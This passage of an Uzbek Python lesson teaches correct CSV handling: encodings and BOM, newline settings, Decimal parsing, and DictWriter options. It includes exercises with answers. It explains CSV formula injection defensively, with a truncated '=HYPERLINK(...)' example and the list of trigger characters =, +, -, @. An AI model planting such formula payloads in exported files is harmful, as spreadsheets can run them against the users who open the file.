| "Excel UTF-8 ni o'zi taniydi" | BOM kerak — utf-8-sig |
| "Bitta qator — bitta fizik qator" | Qo'shtirnoq ichida qator uzilishi bo'lishi mumkin |
| "CSV — faqat matn, xavfsiz" | Formula injection |
"None va '' saqlanadi" |
Faqat QUOTE_STRINGS/QUOTE_NOTNULL bilan |
6. Keng tarqalgan xatolar va yechimlari
1. split bilan o'qish
ism, manzil = qator.split(",") # ❌
for ism, manzil in csv.reader(f): ... # ✅2. newline siz ochish
open("a.csv", "w", encoding="utf-8") # ❌ Windows: \r\r\n
open("a.csv", "w", encoding="utf-8", newline="") # ✅3. BOM li sarlavha
yozuv["ism"] # ❌ KeyError: '\ufeffism'
open(yol, encoding="utf-8-sig", newline="") # ✅4. Satrni son deb ishlatish
sum(q["summa"] for q in oquvchi) # ❌ TypeError
sum(Decimal(q["summa"]) for q in oquvchi) # ✅5. O'nli vergul
float("125 000,50") # ❌ ValueError
Decimal("125 000,50".replace(" ", "").replace(",", ".")) # ✅6. Xato xabarida qator raqami yo'q
raise ValueError("summa noto'g'ri") # ❌ 10 000 qatorning qaysi biri?
raise ValueError(f"{yol}:{oquvchi.line_num}: summa noto'g'ri") # ✅7. Foydalanuvchi matnini to'g'ridan-to'g'ri eksport
yozuvchi.writerow([mijoz.ism]) # ❌ =HYPERLINK(...)
yozuvchi.writerow([xavfsiz(mijoz.ism)]) # ✅8. DictWriter ga ortiqcha maydonli lug'at
csv.DictWriter(f, ["ism"]).writerow(foydalanuvchi.__dict__) # ❌ ValueError (yoki parol sizib chiqadi)
csv.DictWriter(f, ["ism"], extrasaction="ignore") # ✅ aniq ustunlar7. Integratsiya — bu bilim qayerda kerak bo'ladi
- 4.8–4.9-darslar (o'tilgan): Unicode va kodlashlar, BOM
- 15.4-dars (o'tilgan):
strptimebilan sanalarni o'qish - 16.1-dars (o'tilgan): matn fayllari va
newline - 16.2-dars (o'tilgan): JSON — turlari bor format
- 16.7-dars: CSV ni
sqlite3ga yuklash - 16.8-dars: katta fayllarni oqim bilan qayta ishlash
- 24-qism: pandas
read_csv— tahlil uchun - 26.10-dars: Excel va hujjatlar bilan ishlash
8. Eng yaxshi amaliyotlar
Har doim
csvmoduli vanewline="".O'qishda
utf-8-sig; Excel uchun yozishda hamutf-8-sig.Manbaning lahjasini aniq bering; noma'lum manbada
Sniffer+ tekshiruv.Sarlavhalarni normallashtiring (
strip,lower).Turlarni aniq funksiyalar bilan tiklang; pul —
Decimal.Xatolarda fayl nomi va
line_num.Eksportda foydalanuvchi matnini zararsizlantiring.
DictWriterdafieldnamesni aniq bering.
9. Amaliy topshiriq
Vazifa 1: Natijani bashorat qiling
import csv, io
def yoz(qator, **kw):
b = io.StringIO(); csv.writer(b, lineterminator="", **kw).writerow(qator); return b.getvalue()
1. print(yoz(["a", "b c", "d,e"]))
2. print(yoz(['U "ha" dedi']))
3. print(yoz([None, "", 0]))
4. print(yoz(["a", 1], quoting=csv.QUOTE_ALL))
5. print(yoz(["a", 1], quoting=csv.QUOTE_NONNUMERIC))
6. print(next(csv.reader(['a,"b,c"'])))
7. print(next(csv.reader(['1;2,5'], delimiter=";")))
8. print(next(csv.reader(['"x",1'], quoting=csv.QUOTE_NONNUMERIC)))
9. print(list(csv.DictReader(io.StringIO("a,b\n1\n"))))
10. print(list(csv.DictReader(io.StringIO("a\n1,2\n"))))
11. print(list(csv.reader(io.StringIO("a\n\nb\n"))))
12. print(csv.Sniffer().sniff("x;y\n1;2\n").delimiter)Javoblar
a,b c,"d,e""U ""ha"" dedi",,0"a","1""a",1['a', 'b,c']['1', '2,5']['x', 1.0][{'a': '1', 'b': None}][{'a': '1', None: ['2']}][['a'], [], ['b']];
Vazifa 2: Xatolarni tuzating
1. def oqi(yol):
with open(yol) as f:
return [qator.strip().split(",") for qator in f]
2. def eksport(yol, foydalanuvchilar):
with open(yol, "w", encoding="utf-8") as f:
yozuvchi = csv.DictWriter(f, fieldnames=["ism", "email"])
yozuvchi.writeheader()
for u in foydalanuvchilar:
yozuvchi.writerow(u) # u da "parol_xesh" ham bor
3. def jami(yol):
with open(yol, encoding="utf-8", newline="") as f:
return sum(float(q["Summa"]) for q in csv.DictReader(f)) # Excel'dan: BOM, ";", "12 500,00"
4. def xato_xabari(yol):
with open(yol, encoding="utf-8-sig", newline="") as f:
for i, q in enumerate(csv.reader(f), start=1):
if len(q) != 3:
print(f"{i}-qator noto'g'ri") # ko'p qatorli maydonlar bor
5. def hisobot(yol, mijozlar):
with open(yol, "w", encoding="utf-8-sig", newline="") as f:
csv.writer(f).writerows([m.ism, m.izoh] for m in mijozlar) # foydalanuvchi kiritgan matnJavoblar
1. def oqi(yol):
with open(yol, encoding="utf-8-sig", newline="") as f:
return list(csv.reader(f))
2. def eksport(yol, foydalanuvchilar):
with open(yol, "w", encoding="utf-8-sig", newline="") as f:
yozuvchi = csv.DictWriter(f, fieldnames=["ism", "email"], extrasaction="ignore")
yozuvchi.writeheader()
yozuvchi.writerows(foydalanuvchilar)
3. def jami(yol):
with open(yol, encoding="utf-8-sig", newline="") as f:
return sum((Decimal(q["Summa"].replace(" ", "").replace(",", "."))
for q in csv.DictReader(f, delimiter=";")), Decimal(0))
4. def xato_xabari(yol):
with open(yol, encoding="utf-8-sig", newline="") as f:
oquvchi = csv.reader(f)
for q in oquvchi:
if len(q) != 3:
print(f"{oquvchi.line_num}-qatorda tugagan yozuv noto'g'ri")
5. def hisobot(yol, mijozlar):
with open(yol, "w", encoding="utf-8-sig", newline="") as f:
csv.writer(f).writerows([xavfsiz(m.ism), xavfsiz(m.izoh)] for m in mijozlar)Vazifa 3: CSV validator CLI
csvtekshir fayl.csv --sxema sxema.json:
- Sxema: ustun nomi, tur (
int,decimal,date:%d.%m.%Y,str), majburiylik,regex - Lahja va kodlash avtomatik aniqlansin,
--delimiterbilan qo'lda berish ham mumkin - Barcha xatolar
fayl:qator:ustun: sababko'rinishida; birinchi 50 tasi va jami soni - Chiqish kodi: 0 — toza, 1 — xatolar bor, 2 — faylni o'qib bo'lmadi
Vazifa 4: CSV farqlovchi
Ikki eksport (kechagi va bugungi) — kalit ustun (id) bo'yicha:
- Qo'shilgan, o'chirilgan, o'zgargan yozuvlar (qaysi ustun o'zgargani bilan)
- Ustunlar tartibi farq qilsa ham ishlasin
- Natija — Excel'da ochiladigan CSV (
utf-8-sig,;, zararsizlantirish) - 1 000 000 qatorli fayllarda xotira sarfini o'lchang (
tracemalloc)
Vazifa 5: CSV ↔ JSON Lines
- CSV → JSON Lines: sxema bo'yicha turlar bilan
- JSON Lines → CSV: ichma-ich maydonlar
manzil.shaharko'rinishida tekislansin - Ro'yxat maydonlari —
|bilan birlashtirilsin va qaytib ajratilsin - Aylanib qaytish testi: CSV → JSONL → CSV bir xil bo'lsin
Vazifa 6: Bo'laklarga ajratish
- Katta CSV ni har biri N qatordan bo'laklarga ajrating; har bo'lakda sarlavha bo'lsin
- Ko'p qatorli maydonlar bo'laklar orasida bo'linmasin
- Bo'laklarni qayta birlashtirib asl fayl bilan solishtiring
--by shahar— ustun qiymati bo'yicha alohida fayllarga
Vazifa 7: O'ylash
CSV 1970-yillardan beri ishlatiladi, rasmiy RFC esa faqat 2005-yilda paydo bo'ldi va u ham "informatsion" maqomda. Shunga qaramay CSV bugun ham ma'lumot almashishning eng keng tarqalgan formatlaridan biri. Nega CSV o'lmayapti, va uning muammolari (kodlash, lahja, turlar, formula injection) qaysi yondashuvlar bilan hal qilinmoqda — Parquet, JSON Lines, "CSV on the Web" kabi alternativlar CSV o'rnini egallay oladimi?
Javob
Qisqa javob: CSV o'lmaydi, chunki u eng kichik umumiy maxraj: har qanday dastur — Excel, bazalar, grep, 1990-yillarning buxgalteriya tizimi — uni o'qiy va yoza oladi, odam uni matn muharririda ko'radi. Uning muammolari formatning o'zida emas, metama'lumotning yo'qligida: kodlash, ajratgich, turlar faylda yozilmagan. Alternativlar ma'lum sohalarda (tahlil, katta hajm, API) CSV ni siqib chiqarmoqda, lekin odamlar va eski tizimlar orasidagi almashinuvda CSV o'rnini egallay olmaydi.
1. Nega CSV yashovchan
| Sabab | Tafsilot |
|---|---|
| Universal | Excel, Google Sheets, har bir SUBD, har bir til |
| Odam o'qiydi | Muharrirda ochiladi, diff va grep ishlaydi |
| Oqimli | Qatorma-qator yoziladi va o'qiladi |
| Kutubxonasiz yaratish mumkin | Eski tizimlar ham eksport qila oladi |
| Biznes foydalanuvchisi uchun tushunarli | "Excel fayl" ma'nosida |
2. Muammolar ildizi — metama'lumot yo'q
| Muammo | Nima yetishmaydi |
|---|---|
| Kodlash | Faylda kodlash e'lon qilinmaydi (BOM — yarim yechim) |
| Lahja | Ajratgich, qo'shtirnoq, o'nli belgi — tashqi kelishuv |
| Turlar | 00123 satrmi yoki sonmi — noma'lum |
| Sxema | Ustunlar ma'nosi, majburiyligi — hujjatda (yoki hech qayerda) |
| Formula injection | Format va jadval dasturi orasidagi chegara yo'q |
3. Alternativlar va ularning o'rni
| Yondashuv | Nimani hal qiladi | CSV o'rnini egallaydimi |
|---|---|---|
| Parquet, Arrow | Turlar, sxema, siqish, ustunli tezlik | Tahlil va data lake larda — ha; odamlar orasida — yo'q |
| JSON Lines | Turlar (qisman), ichma-ich tuzilma, oqim | API va jurnallarda — ha |
| CSV on the Web (W3C) | Alohida JSON metama'lumot fayli: turlar, ustunlar | Kam qo'llanadi |
| Frictionless Data Package | CSV + sxema paketi | Ochiq ma'lumotlarda |
| XLSX | Turlar, formatlash | Biznesda — yonma-yon |
| SQLite fayl | Turlar, indekslar, SQL | Ma'lumot almashishda asta o'sib bormoqda (16.7) |
4. Amaliy saboqlar
- CSV ni qabul qilishda — ishonchsiz kiritish sifatida: kodlash, lahja, sxema tekshiruvi, line_num bilan xatolar
- CSV ni berishda — hujjatlangan kelishuv: UTF-8 (Excel uchun BOM), ajratgich, sana va son formati
- Ichki quvurlarda — turli formatlar (Parquet, JSONL, SQLite)
- Tashqi foydalanuvchiga — CSV/XLSX, formula injection himoyasi bilan
5. Xulosa
- CSV soddaligi va universalligi tufayli yashaydi
- Muammolar — metama'lumot yo'qligidan
- Alternativlar mashinalar orasida g'olib, odamlar orasida CSV qoladi
- Muhandis vazifasi — CSV chegarasida qat'iy tekshiruv va aniq kelishuv
Nimani mustahkamlaydi: 2.1–2.9-bo'limlar.
Xulosa
Bu darsda CSV bilan to'g'ri ishlashni va uning jim tuzoqlarini o'rgandik.
Eng muhim uch fikr:
Faqat
csvmoduli va har doimnewline="".split(",")qo'shtirnoq ichidagi vergul va qator uzilishini buzadi;writerqo'shtirnoq va ikkilangan qo'shtirnoqni o'zi qo'yadi.newline=""bo'lmasa Windows'da\r\r\nva jim o'zgargan maydonlar paydo bo'ladi. Xato xabarlaridaenumerateemas,reader.line_num— ko'p qatorli maydonlar bor.CSV da turlar va metama'lumot yo'q. Hamma qiymat satr: sanalar,
Decimalsummalar, mantiqiy qiymatlar aniq funksiyalar bilan tiklanadi;Noneva""farqi faqatQUOTE_STRINGS/QUOTE_NOTNULLbilan saqlanadi. Manba lahjasi (ajratgich, o'nli vergul) va kodlash (BOM) — tashqi kelishuv: o'qishdautf-8-sig, noma'lum manbadaSniffer, sarlavhalarni normallashtirish;DictReaderdarestkey/restval,DictWriterdaextrasaction.CSV eksporti — Excel uchun ham, xavfsizlik uchun ham dizayn. Excel UTF-8 ni BOM bilan taniydi (
utf-8-sig), o'nli vergulli mintaqada;kutadi. Foydalanuvchi kiritgan matn=,+,-,@bilan boshlansa formula bo'lib ishga tushishi mumkin —csvmoduli bundan himoya qilmaydi, matn maydonlarini eksportda zararsizlantirish dastur mas'uliyati.
Keyingi darsda Python obyektlarini to'g'ridan-to'g'ri saqlash — pickle: u qanday ishlaydi, nega ishonchsiz manbadan pickle.load masofadan kod bajarishga olib keladi va qachon undan voz kechish kerak.
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!